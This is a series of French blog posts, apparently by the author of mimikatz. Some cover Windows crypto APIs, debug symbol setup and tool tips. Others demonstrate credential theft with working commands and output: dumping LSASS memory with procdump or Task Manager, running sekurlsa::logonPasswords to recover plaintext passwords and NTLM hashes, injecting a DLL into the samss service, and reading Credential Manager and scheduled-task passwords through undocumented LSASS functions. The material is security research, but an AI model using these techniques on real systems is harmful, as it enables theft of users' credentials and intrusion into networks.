Cryptographie rapide sous Windows

Comment obtenir un hash MD5 sous Windows, déchiffrer un bloc DES ?

j’ai totalement conscience d’évoquer dans ce post des algorithmes considérés comme dépassés, mais ces derniers sont toujours massivement utilisés dans les mécanismes internes de Windows
mimikatz 2.0 s’en sert lui aussi massivement ;)

Limitations

Les algorithmes évoqués dans ce post sont seulement les suivants :

MD4 LM DES (ECB)
MD5 NTLM RC4
SHA1    

Déjà vu sur Internet *

  • assemblage de bouts de code provenant d’Internet (réimplémentation des algorithmes)
  • utilisation des librairies d’OpenSSL
  • utilisation de la CryptoAPI
  • utilisation de la CNG

* je passe sur l’utilisation de CSP/PKCS#11 pour communiquer avec son HSM préféré ;)

A notre disposition sous Windows

Comme déjà listé, il est possible d’utiliser nativement la CryptoAPI, ou sa nouvelle version la CNG… mais n’est-ce-pas un peu lourd pour de si simples besoins ?

Windows incorpore déjà beaucoup de routines dans ses librairies système et, si l’on en utilise une grande partie via les SDK référençant ces API, l’on en occulte quelques-unes très pratiques !

Une majorité de ces API se situent dans la librairie advapi32.

API clairement identifiées

MD4Init MD5Init A_SHAInit
MD4Update MD5Update A_SHAUpdate
MD4Final MD5Final A_SHAFinal

API derrières SystemFunctionXXX

RtlEncryptDES1block1key SystemFunction001
RtlDecryptDES1block1key SystemFunction002
RtlEncryptDESMagicBlock1key SystemFunction003
RtlEncryptDESblocksECB SystemFunction004
RtlDecryptDESblocksECB SystemFunction005
RtlDigestLM SystemFunction006
RtlDigestNTLM SystemFunction007
RtlLMResponseToChallenge
NTLMv1 aussi sans doute
SystemFunction008
SystemFunction009
RtlDigestMD4only16Bytes SystemFunction010
SystemFunction011
RtlEncryptDES2blocks2keys SystemFunction012
SystemFunction014
SystemFunction020
SystemFunction022
RtlDecryptDES2blocks2keys SystemFunction013
SystemFunction015
SystemFunction021
SystemFunction023
RtlEncryptDES2blocks1key SystemFunction016
SystemFunction018
RtlDecryptDES2blocks1key SystemFunction017
SystemFunction019
RtlEncryptDES2blocks1DWORD SystemFunction024
SystemFunction026
RtlDecryptDES2blocks1DWORD SystemFunction025
SystemFunction027
RtlEqualMemory16Bytes SystemFunction030
SystemFunction031
RtlEncryptDecryptRC4 SystemFunction032
SystemFunction033
RtlCheckSignatureInFile SystemFunction035
Clé de session RPC
fonctions non identiques
SystemFunction028
SystemFunction029
SystemFunction034

Téléchargement

La majorité des API sont référencées via des SystemFunctionXXX qui peuvent déjà être liées par la librairie advapi32.lib du SDK ou WDK.

Malheureusement pas les API A_SHAFinal, A_SHAInit, A_SHAUpdate, MD4Final, MD4Init, MD4Update, MD5Final, MD5Init, MD5Update et RtlCheckSignatureInFile (SystemFunction035).

J’ai donc créé trois fichiers :

  • kull_m_crypto.h – en-tête à adapter au projet ciblé pour inclure les prototypes et structures manquants
  • win32\advapi32.hash.lib – librairie x86 à lier pour les API manquantes
  • x64\advapi32.hash.lib – librairie x64 à lier pour les API manquantes

Le tout disponible : http://blog.gentilkiwi.com/downloads/mimikatz.kull_m_crypto.zip

Exemple de petit code

Il est là pour exposer l’utilisation du CRYPTO_BUFFER, du MD5, SHA1 et DES-ECB

const BYTE data[] = "my super secret is a kiwi :)";
const BYTE key[] = "42 & 0xdeadbeef of course !";

CRYPTO_BUFFER
	bData    = {sizeof(data) - 1, sizeof(data) - 1, (PBYTE) data}, 
	bKey     = {sizeof(key) - 1, sizeof(key) - 1, (PBYTE) key},
	bCipData = {0, 0, NULL},
	bDecData = {0, 0, NULL}
;

MD5_CTX md5ctxInput, md5ctxOutput; // MD5 digest in context
SHA_CTX shactxInput, shactxOutput;
SHA_DIGEST shaInput, shaOutput;

NTSTATUS status;

MD5Init(&md5ctxInput);
MD5Update(&md5ctxInput, bData.Buffer, bData.Length);
MD5Final(&md5ctxInput);	// original data MD5 hash

A_SHAInit(&shactxInput);
A_SHAUpdate(&shactxInput, bData.Buffer, bData.Length);
A_SHAFinal(&shactxInput, &shaInput); // original data SHA1 hash

status = RtlEncryptDESblocksECB(&bData, &bKey, &bCipData);
if(status == STATUS_BUFFER_TOO_SMALL)
{
	if(bCipData.Buffer = (PBYTE) LocalAlloc(LPTR, bCipData.Length))
	{
		bCipData.MaximumLength = bCipData.Length;
		status = RtlEncryptDESblocksECB(&bData, &bKey, &bCipData);
	}
} else status = STATUS_NONCONTINUABLE_EXCEPTION;

if(NT_SUCCESS(status)) // Cipher operation OK ?
{
	status = RtlDecryptDESblocksECB(&bCipData, &bKey, &bDecData);
	if(status == STATUS_BUFFER_TOO_SMALL)
	{
		if(bDecData.Buffer = (PBYTE) LocalAlloc(LPTR, bDecData.Length))
		{
			bDecData.MaximumLength = bDecData.Length;
			status = RtlDecryptDESblocksECB(&bCipData, &bKey, &bDecData);
		}
	} else status = STATUS_NONCONTINUABLE_EXCEPTION;
} 

if(NT_SUCCESS(status)) // Decipher operation OK ?
{
	MD5Init(&md5ctxOutput);
	MD5Update(&md5ctxOutput, bDecData.Buffer, bDecData.Length);
	MD5Final(&md5ctxOutput); // deciphered data MD5 hash

	A_SHAInit(&shactxOutput);
	A_SHAUpdate(&shactxOutput, bDecData.Buffer, bDecData.Length);
	A_SHAFinal(&shactxOutput, &shaOutput); // deciphered data SHA1 hash
		
	// data compare works too, but it's for expose MD5 & SHA1 functions ;)
	wprintf(L"MD5  match : %s\n",
		RtlEqualMemory(md5ctxInput.digest, md5ctxOutput.digest, MD5_DIGEST_LENGTH) ? L"OK" : L"KO");
	wprintf(L"SHA1 match : %s\n",
		RtlEqualMemory(shaInput.digest, shaOutput.digest, SHA_DIGEST_LENGTH) ? L"OK" : L"KO");
}

LocalFree(bDecData.Buffer);
LocalFree(bCipData.Buffer);

Correction d’un en-tête Windows

Les seules API un tant soit peu présentes dans les en-têtes standards de Windows sont les suivantes :

  • RtlEncryptMemory
  • RtlDecryptMemory
  • RtlGenRandom

Lors de l’utilisation de ces fonctions, avec les fichiers proposés ou non, si les erreurs suivantes apparaissent lors de la création des liens :

error LNK2001: symbole externe non résolu _SystemFunction036
error LNK2001: symbole externe non résolu _SystemFunction040
error LNK2001: symbole externe non résolu _SystemFunction041

C’est que l’en-tête ntsecapi.h déclare incorrectement les prototypes des fonctions.
Il faut malheureusement les corriger :

BOOLEAN
RtlGenRandom(
    __out_bcount(RandomBufferLength) PVOID RandomBuffer,
    __in ULONG RandomBufferLength
    );
//...
NTSTATUS
RtlEncryptMemory(
    __inout_bcount(MemorySize) PVOID Memory,
    __in ULONG MemorySize,
    __in ULONG OptionFlags
    );

NTSTATUS
RtlDecryptMemory(
    __inout_bcount(MemorySize) PVOID Memory,
    __in ULONG MemorySize,
    __in ULONG OptionFlags
    );

en rajoutant la convention d’appel WINAPI (__stdcall) :

BOOLEAN WINAPI
RtlGenRandom(
    __out_bcount(RandomBufferLength) PVOID RandomBuffer,
    __in ULONG RandomBufferLength
    );
//...
NTSTATUS WINAPI
RtlEncryptMemory(
    __inout_bcount(MemorySize) PVOID Memory,
    __in ULONG MemorySize,
    __in ULONG OptionFlags
    );

NTSTATUS WINAPI
RtlDecryptMemory(
    __inout_bcount(MemorySize) PVOID Memory,
    __in ULONG MemorySize,
    __in ULONG OptionFlags
    );

Symboles Microsoft

pour WinDBG, IDA, Process Explorer, …
Parce que WinDBG seul ne suffit pas, un petit HowTo rapide sur les symboles Microsoft

Les symboles de débogage Microsoft

Microsoft n’est pas avare d’informations, une grande partie des symboles de leurs binaires (exécutables, librairies, pilotes, …) est disponible publiquement !

Cela permet, entre autre, de connaître des noms de fonctions internes, de variables globales, structures, … tout ce que Microsoft accepte que nous connaissions.
Bien que ces informations soient épurées, il n’en reste pas moins quelques pépites.

void __stdcall TSRevealPassword(struct _UNICODE_STRING *)
void __stdcall KerbRevealPassword(struct _UNICODE_STRING *)

Il serait dommage de s’en priver.

Pour cela, les outils présentés dans ce post, utilisent a minima :

  • dbghelp.dll pour manipuler les symboles
  • symsrv.dll pour récupérer les symboles
  • une configuration indiquant le référentiel de symboles
    • au niveau global via _NT_SYMBOL_PATH

Les dernières versions de ces librairies sont installées par WinDBG.

Considérations sur la configuration proposée

  • L’utilisation courante des symboles occupe de l’espace disque
  • Si plusieurs postes doivent déboguer, il est préférable d’utiliser un référentiel intermédiaire afin de ne pas récupérer plusieurs fois les mêmes informations
  • Les utilisateurs doivent pouvoir écrire a minima dans le référentiel final, l’écriture dans l’intermédiaire permet de l’alimenter depuis les utilisations de chacun

Configuration

La configuration proposée est la suivante :

_NT_SYMBOL_PATH = srv*c:\symbols*http://msdl.microsoft.com/download/symbols

A chaque besoin d’un symbole, le référentiel c:\symbols est inspecté.

  • si le symbole y figure, celui-ci est utilisé
  • si le symbole n’y figure pas, le référentiel http://msdl.microsoft.com/download/symbols est utilisé
    Le symbole est ensuite copié dans le référentiel c:\symbols pour éviter de le re-télécharger

Il faut ajouter une nouvelle variable d’environnement système (ou utilisateur) :
sysvardbg

Si un référentiel intermédiaire doit être utilisé :

_NT_SYMBOL_PATH = srv*c:\symbols*\\litchinanas.nirvana.local\programmation\symbols*http://msdl.microsoft.com/download/symbols

Si les droits le permettent, http://msdl.microsoft.com/download/symbols alimente \\litchinanas.nirvana.local\programmation\symbols qui alimente c:\symbols

Les informations sur la définition de cette variable sont disponibles ici : http://msdn.microsoft.com/library/windows/hardware/ff537994.aspx

WinDBG – le prérequis

A l’heure actuelle, la dernière version x86 est disponible ici : http://blog.gentilkiwi.com/retro-ingenierie/windbg-6-2-9200-16384
Une fois installées, les librairies essentielles au fonctionnement des symboles se trouveront dans : C:\Program Files\Windows Kits\8.0\Debuggers\x86 (ou équivalent sous x64).

Utilisation SANS les symboles

mov     dword ptr [notepad+0xc1e4 (001ec1e4)],offset notepad+0x739b (001e739b)
call    dword ptr [notepad+0x1354 (001e1354)]
push    eax
call    notepad+0x77f3 (001e77f3)

Utilisation AVEC les symboles

mov     dword ptr [notepad!OFN+0x44 (001ec1e4)],offset notepad!NpOpenDialogHookProc (001e739b)
call    dword ptr [notepad!_imp__GetOpenFileNameW (001e1354)]
push    eax
call    notepad!_LegacyFileDialogToHR (001e77f3)

N’est-ce pas plus compréhensible ?

Process Explorer & Process Monitor

Certains affichages de Process Explorer et Process Monitor peuvent eux aussi facilement bénéficier de l’aide de symboles.

Via Options / Configure Symbols... :
pesmb
(l’option ‘Symbols Path’ est inutile quand la variable d’environnement _NT_SYMBOL_PATH est renseignée)

Sinon en console :

reg add "HKCU\Software\Sysinternals\Process Explorer" /v DbgHelpPath /t REG_SZ /d "C:\Program Files\Windows Kits\8.0\Debuggers\x86\dbghelp.dll" /f
reg add "HKCU\Software\Sysinternals\Process Explorer" /v SymbolPath  /t REG_SZ /f
reg add "HKCU\Software\Sysinternals\Process Monitor"  /v DbgHelpPath /t REG_SZ /d "C:\Program Files\Windows Kits\8.0\Debuggers\x86\dbghelp.dll" /f
reg add "HKCU\Software\Sysinternals\Process Monitor"  /v SymbolPath  /t REG_SZ /f

Utilisation SANS les symboles

penosym

Utilisation AVEC les symboles

pesym
pcstack

IDA

Dans certains cas, IDA n’arrive pas à se débrouiller avec ses propres librairies. Quelques manipulations peuvent largement l’aider…

  1. Supprimer du répertoire d’IDA :
    • dbghelp.dll
    • symsrv.dll
    • symsrv.yes (si présent)
  2. Recopier les fichiers suivants depuis le répertoire de WinDBG (C:\Program Files\Windows Kits\8.0\Debuggers\x86) vers celui d’IDA :
    • symsrv.dll
    • symsrv.yes
  3. Via le fichier de configuration d’IDA (cfg\ida.cfg), modifier la propriété DBGTOOLS (elle est sans doute à dé-commenter, sinon la créer) :
    DBGTOOLS = "C:\\Program Files\\Windows Kits\\8.0\\Debuggers\\x86\\";
    pratique pour piloter, par la même occasion, WinDBG depuis IDA
  4. Forcer l’utilisation des symboles si IDA a été configuré pour ne plus le demander :
    reg add "HKCU\Software\Hex-Rays\IDA\Hidden Messages" /v "IDA Pro has determined that the input file was linked with debug information  Do you want to look fo" /t REG_DWORD /d 1 /f

Utilisation SANS les symboles

idanodbg

Utilisation AVEC les symboles

idadbg

sekurlsa :: minidump

mimikatz est déjà très facile d’emploi sur place… mais si nous prenions à emporter ?

mcdrive
- « Un minidump de LSASS et 4 Cocas »

NT 6

Microsoft nous a fait une bonne surprise ! Il est maintenant possible de dumper des processus directement depuis le gestionnaire de tâches, et ceci sans outils supplémentaires !
minidump_8
Nous sommes ensuite remerciés par :
dumpok
(valable pour Windows Vista et versions supérieures)

NT 5

Cette fois ci, point de méthode interne à Windows, mais nous pouvons passer par Procdump : http://technet.microsoft.com/sysinternals/dd996900.aspx

C:\WINDOWS\Sysinternals>procdump -accepteula -ma lsass.exe lsass.dmp

ProcDump v5.14 - Writes process dump files
Copyright (C) 2009-2013 Mark Russinovich
Sysinternals - www.sysinternals.com
With contributions from Andrew Richards

Writing dump file C:\WINDOWS\Sysinternals\lsass.dmp ...
Writing 48MB. Estimated time (less than) 1 second.
Dump written.

Utilisation

Il suffit maintenant d’utiliser mimikatz sur une plateforme de même version majeure et de même architecture que le dump d’origine.
minidump_matrix
Exemples de configurations :

  • Dump d’un Windows XP x86 => mimikatz x86 sous Windows 2003 x86
  • Dump d’un Vista x64 => mimikatz x64 sous Windows 2012 x64
mimikatz 2.0 alpha x86 release "Kiwi en C" (Apr  2 2013 02:58:12)

/* * *
 Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )

http://blog.gentilkiwi.com/mimikatz

                                  with   4 modules * * */


mimikatz # sekurlsa::minidump lsass.dmp
Switch to MINIDUMP

mimikatz # sekurlsa::logonPasswords

Authentication Id : 0 ; 141237
User Name         : sekur_000
Domain            : WINDOWS-8
        msv :
         * Username : sekurlsa@live.fr
         * Domain   : MicrosoftAccount
         * LM       : d0e9aee149655a6075e4540af1f22d3b
         * NTLM     : cc36cf7a8514893efccd332446158b1a
        tspkg :
         * Username : sekurlsa@live.fr
         * Domain   : MicrosoftAccount
         * Password : waza1234/
        wdigest :
         * Username : sekurlsa@live.fr
         * Domain   : MicrosoftAccount
         * Password : waza1234/
        livessp :
         * Username : sekurlsa@live.fr
         * Domain   : ps:password
         * Password : waza1234/
        kerberos :
        ssp :

mimikatz

Oui, il s’agit de mimikatz 2, une version alpha livrée totalement incomplète pour l’occasion (et certainement encore pleine de bogues).
Le français n’ayant pas beaucoup freiné certaines utilisations, et à la demande de beaucoup (gasp!), cette version sera en anglais.

La version alpha prenant en charge ces améliorations est disponible : http://blog.gentilkiwi.com/mimikatz (répertoire alpha)

gentilkiwi @ AfterWork OSSIR Février 2013

OSSIR-Logo

news0ft m’a offert une tribune sympathique pour présenter mimikatz.
Je serais donc présent à l’AfterWork de l’OSSIR ce Mardi 26 Février à partir de 19h30.

En dehors du plaisir d’y rencontrer une riche communauté, j’y évoquerai le fonctionnement de la récupération de données sensibles dans Windows via mimikatz, tout cela en une petite demi-heure.

Se passant au Café Six, les questions supplémentaires se feront autour d’un verre !

Informations :

La calculatrice de Windows

cette alliée sous-estimée…

Que ce soit celle de NT 5 ou NT 6, la calculatrice de Windows a été faite par des programmeurs… pour des programmeurs !

Manipulation bit-à-bit, modulo, opérations hexa… une bonne partie de nos opérations récurrentes est présente :)

calc_nt6

Pour être encore plus efficace, un petit mémo des raccourcis clavier pour notre mode :

Touche Fonction Touche Fonction Touche Fonction
F5 Hex & And Alt+3 Programmeur
F6 Dec | Or F9 +/-
F7 Oct ^ Xor Ctrl+M MS
F8 Bin ~ Not Ctrl+R MR
F12 Qword % Mod Ctrl+L MC
F2 Dword K RoR Ctrl+P M+
F3 Mot J RoL Ctrl+Q M-
F4 Octet < Lsh    
    > Rsh    

A mémoriser !

mimikatz :: sekurlsa et SSP NTLM

Après un petit passage dans le monde des mots de passe enregistrés, retournons voir une catégorie sous estimées : les mots de passes réseau

Ces mots de passes sont souvent conseillés, car il n’y a pas d’ouverture de session interactive sur le serveur cible lors d’une connexion à un partage réseau, un canal nommé, ou une autre ressource « simple » à distance.
L’authentification est la plupart du temps transparente, et basée sur la session courante de l’utilisateur, via SSO.

Toutefois, lors d’accès à des ressources de plus haut niveau, ou nécessitant l’utilisation d’un compte tiers, le SSO ne peut plus rien pour nous : il faut s’authentifier avec de nouvelles données d’identification.

netshare
Exemple d’accès à un partage avec des données d’identification explicites

mimikatz # privilege::debug
Demande d'ACTIVATION du privilège : SeDebugPrivilege : OK

mimikatz # sekurlsa::logonPasswords full

Authentification Id         : 0;2586685
Package d'authentification  : NTLM
Utilisateur principal       : Gentil Kiwi
Domaine d'authentification  : windows-08
        msv1_0
         * Utilisateur  : Gentil Kiwi
         * Domaine      : windows-08
         * Hash LM      : d0e9aee149655a6075e4540af1f22d3b
         * Hash NTLM    : cc36cf7a8514893efccd332446158b1a
        kerberos
         * Utilisateur  : Gentil Kiwi
         * Domaine      : windows-08
         * Mot de passe : waza1234/
        ssp
         * [0] Utilisateur  : gentiltest
               Domaine      : WINDOWS-08
               Mot de passe : wazatest1234/
         * [1] Utilisateur  : test
               Domaine      : WINDOWS-08
               Mot de passe : test1234
        wdigest
         * Utilisateur  : Gentil Kiwi
         * Domaine      : windows-08
         * Mot de passe : waza1234/
        tspkg
         * Utilisateur  : Gentil Kiwi
         * Domaine      : windows-08
         * Mot de passe : waza1234/
        livessp n.t. (LUID KO)

Ou en plus court :

mimikatz # sekurlsa::ssp

Authentification Id         : 0;2586685
Package d'authentification  : NTLM
Utilisateur principal       : Gentil Kiwi
Domaine d'authentification  : windows-08
        ssp :
         [0] { gentiltest ; WINDOWS-08 ; wazatest1234/ }
         [1] { test ; WINDOWS-08 ; test1234 }

Dans ces deux exemples, le domaine d’authentification n’a pas d’importance, il s’agit de comptes locaux.

Explication rapide

Notre processus habituel, LSASS, tient encore une fois une table de données d’identification que des processus, providers, ou pilotes, peuvent interroger pour établir des connexions.

plain text passwords

C’est pourquoi le module SSP fait son apparition !
La version prenant en charge cette amélioration est disponible : http://blog.gentilkiwi.com/mimikatz

Visual Studio 2012 (Express)

Juste quelques petits liens pratiques :

Les versions Express des outils Microsoft sont des versions allégées, sans limite d’utilisation dans le temps : http://www.microsoft.com/express

vs2012

Certaines fonctionnalités ne sont pas disponibles : http://msdn.microsoft.com/library/hs24szh9.aspx (comme la compilation x64 ou les MFC pour Visual C++)

En bonus pratique :

En ce qui concerne l’Update 1 ou 2, le SDK et le WDK, il n’existe pas de version autonomes de ces programmes, mais elles peuvent être construites via le commuatateur /layout

mimikatz @ sekurlsa : Credman

Comme vu lors de l’essai de récupération des mots de passe des tâches planifiées, le gestionnaire d’identification ne retourne pas très facilement de credentials en clair pour un type CRED_TYPE_DOMAIN_PASSWORD

Tests

Stockons quelques credentials de type CRED_TYPE_DOMAIN_PASSWORD :

Via une tâche planifiée

gentilletache
Résultat :

mimikatz # system::user
Utilisateur : WORKGROUP\VM-W7-ULT$

mimikatz # divers::secrets full
Nombre de secrets : 1
TargetName         : Domain:batch=TaskScheduler:Task:{55DEDD5A-70DE-49AC-98C2-9D86B9A437FA} / <NULL>
Type               : DOMAIN_PASSWORD (2)
Comment            : <NULL>
UserName           : vm-w7-ult\Gentille Tâche
Credential         : <NULL>

Via un utilisateur et un partage réseau

vault_user_share
Résultat :

mimikatz # system::user
Utilisateur : vm-w7-ult\Gentil Utilisateur

mimikatz # divers::secrets full
Nombre de secrets : 1
TargetName         : Domain:target=serveur / <NULL>
Type               : DOMAIN_PASSWORD (2)
Comment            : <NULL>
UserName           : utilisateur
Credential         : <NULL>

Via un utilisateur, un terminal server et un partage réseau

vault_user_rdp_share
Résultat :

mimikatz # system::user
Utilisateur : vm-w7-ult\Gentil Kiwi

mimikatz # divers::secrets
Nombre de secrets : 2
TargetName         : TERMSRV/windows-f.vm.nirvana.local / <NULL>
Type               : DOMAIN_PASSWORD (2)
Comment            : <NULL>
UserName           : test@nirvana.local
Credential         : <NULL>

TargetName         : windows-b.vm.nirvana.local / <NULL>
Type               : DOMAIN_PASSWORD (2)
Comment            : <NULL>
UserName           : testshare@nirvana.local
Credential         : <NULL>

penguins_triste

Explications

Les credentials exposés ici n’ont pas à être manipulés dans les applications utilisateurs, mais par le gestionnaire d’authentification de Windows (LSASS), il n’y a donc pas de raison qu’ils soient accessibles dans l’espace utilisateurs.

Pour rappel :

If the Type member is CRED_TYPE_DOMAIN_PASSWORD, this member contains the plaintext Unicode password for UserName. The CredentialBlob and CredentialBlobSize members do not include a trailing zero character. Also, for CRED_TYPE_DOMAIN_PASSWORD, this member can only be read by the authentication packages.

Plus clairement : fini de jouer avec CredEnumerate en mode utilisateur, il faut passer via un contexte SYSTEM dans LSASS

Implémentation

Exit CredEnumerate qui se limite à l’utilisateur courant, pour gagner du temps utilisons CredIEnumerate (non exportée, non documentée) qui permet de lister les secrets d’une session particulière :)

typedef NTSTATUS (WINAPI * PCRED_I_ENUMERATE)	(IN PLUID pLUID, IN DWORD unk0,	IN LPCTSTR Filter, IN DWORD Flags, OUT DWORD *Count, OUT PCREDENTIAL **Credentials);
typedef NTSTATUS (WINAPI * PCRED_I_ENUMERATE62) (IN PLUID pLUID,				IN LPCTSTR Filter, IN DWORD Flags, OUT DWORD *Count, OUT PCREDENTIAL **Credentials);

Une fois les secrets identifiés, ne retenons que ceux concernés par le déchiffrement dans LSASS (CRED_TYPE_DOMAIN_PASSWORD dans notre cas), et demandons poliment à LSA_SECPKG_FUNCTION_TABLE->CrediReadDomainCredentials depuis le processus LSASS les credentials désirés…

Puisque l’on est dans LSASS, et que Microsoft annonce que les données ne sont lisibles que par les packages d’authentification, pourquoi ne pas rajouter un petit coup de LSA_SECPKG_FUNCTION_TABLE->LsaUnprotectMemory ?

Resultat

Bien sûr, en tant qu’Administrateur, ou SYSTEM (dans ce cas, pas besoin du privilège debug)…

mimikatz 1.0 x86 (RC)   /* Traitement du Kiwi (Jan  6 2013 17:43:18) */
// http://blog.gentilkiwi.com/mimikatz

mimikatz # privilege::debug
Demande d'ACTIVATION du privilège : SeDebugPrivilege : OK

mimikatz # inject::service samss sekurlsa.dll
SERVICE(samss).serviceDisplayName = Gestionnaire de comptes de sécurité
SERVICE(samss).ServiceStatusProcess.dwProcessId = 512
Attente de connexion du client...
Serveur connecté à un client !
Message du processus :
Bienvenue dans un processus distant
                        Gentil Kiwi

SekurLSA : librairie de manipulation des données de sécurité dans LSASS

mimikatz # @getCredman full

Authentification Id         : 0;999
Package d'authentification  : NTLM
Utilisateur principal       : VM-W7-ULT$
Domaine d'authentification  : WORKGROUP
        credman :
         * [0] Target   : Domain:batch=TaskScheduler:Task:{55DEDD5A-70DE-49AC-98C2-9D86B9A437FA} / <NULL>
         * [0] Comment  : <NULL>
         * [0] User     : vm-w7-ult\Gentille Tâche
               [0] User : vm-w7-ult\Gentille Tâche
               [0] Cred : wazawaza12341234//

Authentification Id         : 0;6420317
Package d'authentification  : NTLM
Utilisateur principal       : Gentil Utilisateur
Domaine d'authentification  : vm-w7-ult
        credman :
         * [0] Target   : Domain:target=serveur / <NULL>
         * [0] Comment  : <NULL>
         * [0] User     : utilisateur
               [0] User : utilisateur
               [0] Cred : mdpuser

Authentification Id         : 0;447522
Package d'authentification  : NTLM
Utilisateur principal       : Gentil Kiwi
Domaine d'authentification  : vm-w7-ult
        credman :
         * [0] Target   : Domain:target=TERMSRV/windows-f.vm.nirvana.local / <NULL>
         * [0] Comment  : <NULL>
         * [0] User     : test@nirvana.local
               [0] User : test@nirvana.local
               [0] Cred : mdptest

         * [1] Target   : Domain:target=windows-b.vm.nirvana.local / <NULL>
         * [1] Comment  : <NULL>
         * [1] User     : testshare@nirvana.local
               [0] User : testshare@nirvana.local
               [0] Cred : mdpshare

mimikatz # exit

rico_happy

La version prenant en charge cette amélioration est disponible : http://blog.gentilkiwi.com/mimikatz

mimikatz @ sekurlsa : Credman et le planificateur de tâches

Vendredi soir, mgrzeg (http://zine.net.pl/blogs/mgrzeg/) m’a posé une petite colle sur les mots de passe associés à des tâches planifiées :

22:27 – Michal: Have you ever tried to recover passwords for scheduler tasks?

Et bien non ! Je pensais naïvement que beaucoup d’outils permettaient déjà de récupérer les mots de passe de tâches planifiées… mais, à part une version historique pour NT5 d’Ivan (http://www.ivanlef0u.tuxfamily.org/?p=173), rien de bien précis dans le paysage des outils pour les versions actuelles de Windows…

penguins_ho

Recherches

Créons une petite « Tâche de test » associée au compte de « Gentille Tâche »
gentilletache

> reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\Tâche de test"

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\Tâche de test
    Id    REG_SZ    {B0261D58-1302-40C8-A547-3AFD8F76BB4C}
    Index    REG_DWORD    0x3

> reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{B0261D58-1302-40C8-A547-3AFD8F76BB4C}"

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{B0261D58-1302-40C8-A547-3AFD8F76BB4C}
    Path    REG_SZ    \Tâche de test
    Hash    REG_BINARY    913E7022936A887F6CA5DD1C5BCAF21BCB7B8A120FA1551CCB19DBC7EC10D93D
    Triggers    REG_BINARY    150000000000000000F3A401A4F76772FFFFFFFFFFFFFFFF00F3A401A4F7677200000000000000002821440048484848EA0DE31E484848480048484848484848004848484848484801000000484848481C000000484848480105000000000005150000003C07DD79702A63251C051BB6E903000048484848360000004848484876006D002D00770037002D0075006C0074005C00470065006E00740069006C006C00650020005400E2006300680065000000000000004848380000004848484800000000FFFFFFFF80F40300FFFFFFFF0700000000000000000000000000000000000000000000000000000018A20F010000000000000000

Vous l’aurez sans aucun doute reconnue :

vm-w7-ult      | 76 00 6D 00 2D 00 77 00 37 00 2D 00 75 00 6C 00 74 00
\              | 5C 00
Gentille Tâche | 47 00 65 00 6E 00 74 00 69 00 6C 00 6C 00 65 00 20 00 54 00 E2 00 63 00 68 00 65 00
<NULL>         | 00 00 
<NULL><NULL>   | 00 00 00 00

Cela tombe bien, il y a une référence à son SID (S-1-5-21-2044528444-627255920-3055224092-1001) pas très loin :

> reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\CredWom\S-1-5-21-2044528444-627255920-3055224092-1001"

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\CredWom\S-1-5-21-2044528444-627255920-3055224092-1001
    Count    REG_DWORD    0x1
    Index    REG_SZ    {55DEDD5A-70DE-49AC-98C2-9D86B9A437FA}

Point de mot de passe… mais un GUID très utile…, le planificateur de tâche va appeler :
CredMarshalCredential avec :

  • CredType : UsernameTargetCredential
  • Credential : TaskScheduler:Task:{55DEDD5A-70DE-49AC-98C2-9D86B9A437FA}

… et se servir du résultat pour appeler LogonUser puis CreateProcessAsUser.

Explications

UsernameTargetCredential

Specifies that the credential is a reference to a CRED_FLAGS_USERNAME_TARGET credential described by a USERNAME_TARGET_CREDENTIAL_INFO structure.

Il s’avère donc que les comptes associés aux tâches planifiées sont enregistrés dans le « Gestionnaire d’identification » de SYSTEM.
Cohérent, puisque le planificateur de tâches fonctionne en tant que service local, même si la session de l’utilisateur ayant créé la tâche, ou ciblée par la tâche, est fermée.

Test

Qu’à cela ne tienne, mimikatz permet de dumper les différents éléments du gestionnaire d’identification de NT6 via : divers::secrets full

En ayant obtenu un mimikatz « SYSTEM » :

mimikatz # divers::secrets full
Nombre de secrets : 1
TargetName         : Domain:batch=TaskScheduler:Task:{55DEDD5A-70DE-49AC-98C2-9D86B9A437FA} / <NULL>
Type               : DOMAIN_PASSWORD (2)
Comment            : <NULL>
UserName           : vm-w7-ult\Gentille Tâche
Credential         : <NULL>

Damn, pas de mot de passe ici :(

mario_princess-in-another-castle

If the Type member is CRED_TYPE_DOMAIN_PASSWORD, this member contains the plaintext Unicode password for UserName. The CredentialBlob and CredentialBlobSize members do not include a trailing zero character. Also, for CRED_TYPE_DOMAIN_PASSWORD, this member can only be read by the authentication packages.

La solution sera donc plus générale que pour les mots de passe de tâches planifiées…, en effet la catégorie CRED_TYPE_DOMAIN_PASSWORD englobe aussi les credentials pré-enregistrés de lecteurs , de partages ou RDP…

A voir dans un prochain post ;)

Bonus

Dans le contexte de l’utilisateur ayant créé la tâche planifiée (et donc inacessible à SYSTEM si session fermée…) :

mimikatz # divers::secrets full
Nombre de secrets : 1
TargetName         : LegacyGeneric:target=VM-W7-ULT\Gentille Tâche / <NULL>
Type               : GENERIC (1)
Comment            : <NULL>
UserName           : VM-W7-ULT\Gentille Tâche
Credential         : wazawaza12341234//

Mais là, je ne vois pas la raison de sa présence… c’est le moteur du planificateur de tâche qui a besoin des credentials, pas l’utilisateur d’origine… (?)